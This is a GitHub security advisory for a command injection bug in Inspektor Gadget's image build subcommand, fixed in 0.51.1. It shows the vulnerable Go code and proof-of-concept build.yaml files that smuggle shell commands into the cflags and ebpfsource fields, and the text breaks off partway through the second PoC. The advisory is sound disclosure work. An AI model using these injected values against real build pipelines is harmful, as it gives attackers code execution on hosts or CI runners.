GitHub Security Advisory: GHSA-79qw-g77v-2vfh
Package: github.com/inspektor-gadget/inspektor-gadget (GO)
Severity: MODERATE (CVSS 0.0)
CWE: CWE-77: Improper Neutralization of Special Elements used in a Command ('Command Injection'), CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')
Vulnerable versions: < 0.51.1
Patched in: 0.51.1

Summary: Inspektor Gadget: Command Injection via malicious buildOptions manipulation

Details:
### Impacted Resources

`inspektor-gadget/cmd/common/image/build.go`
`inspektor-gadget/cmd/common/image/helpers/Makefile.build`

### Description

The `ig` binary provides a subcommand for image building, used to generate custom gadget OCI images.

A part of this functionality is implemented in the file `inspektor-gadget/cmd/common/image/build.go`.

The following is the code responsible to construct the build command:
```go
func buildCmd(options buildOptions) []string {
	cmd := []string{
		"make", "-f", filepath.Join(options.outputDir, "Makefile.build"),
		"-j", fmt.Sprintf("%d", runtime.NumCPU()),
		"OUTPUTDIR=" + options.outputDir,
		"CFLAGS=" + options.cFlags,
		"FORCE_COLORS=" + options.forceColorsFlag,
	}

	if options.ebpfSourcePath != "" {
		cmd = append(cmd, "EBPFSOURCE="+options.ebpfSourcePath, "ebpf")
	}
	if options.wasmSourcePath != "" {
		cmd = append(cmd, "WASM="+options.wasmSourcePath, "wasm")
	}
	if options.btfgen {
		cmd = append(cmd, "BTFHUB_ARCHIVE="+options.btfHubArchivePath, "btfgen")
	}

	return cmd
}
```

The `Makefile.build` file is the Makefile template employed during the building process.

This file includes user-controlled data in an unsafe fashion, specifically some parameters are embedded without an adequate escaping in the commands inside the Makefile.

This implementation is vulnerable to command injection: an attacker able to control values in the `buildOptions` structure would be able to execute arbitrary commands during the building process.


### Impact

An attacker able to exploit this vulnerability would be able to execute arbitray command: 
- on the Linux host where the `ig` command is launched, if images are built with the `--local` flag
- on the build container invoked by `ig`, if the `--local` flag is not provided

### Attack Complexity

The `buildOptions` structure is extracted from the YAML [gadget manifest](https://inspektor-gadget.io/docs/latest/gadget-devel/building#customizing-your-build) passed to the `ig image build` command. Therefore, the attacker would need a way to control either the full `build.yml` file passed to the `ig image build` command, or one of its options.

Typically, this could happen in a CI/CD scenario that builds untrusted gadgets to verify correctness.

### PoC

#### PoC 1  (Vector: cflags)

1. Create the file `build.yaml` with the following content:
```
ebpfsource: "program.bpf.c"  
metadata: "gadget.yaml"  
cflags: " ; touch poc1.txt ; "
```
2. Create the file `gadget.yaml` with the following content:
```
name: test  
description: test gadget  
```
3. Create the file `program.bpf.c` with the following content:
```
#include <gadget/gadget.h>  
char LICENSE[] SEC("license") = "GPL";
```
4. In the same directory where the files are run the command:
```
ig image build . -t test:latest
```
5. Notice that the file `poc1.txt` gets created inside the directory.

#### PoC2 (Vector: ebpfsource, wasm)

1. Create the file `build.yaml` with the following content:
```
ebpfsource: "$(shell tou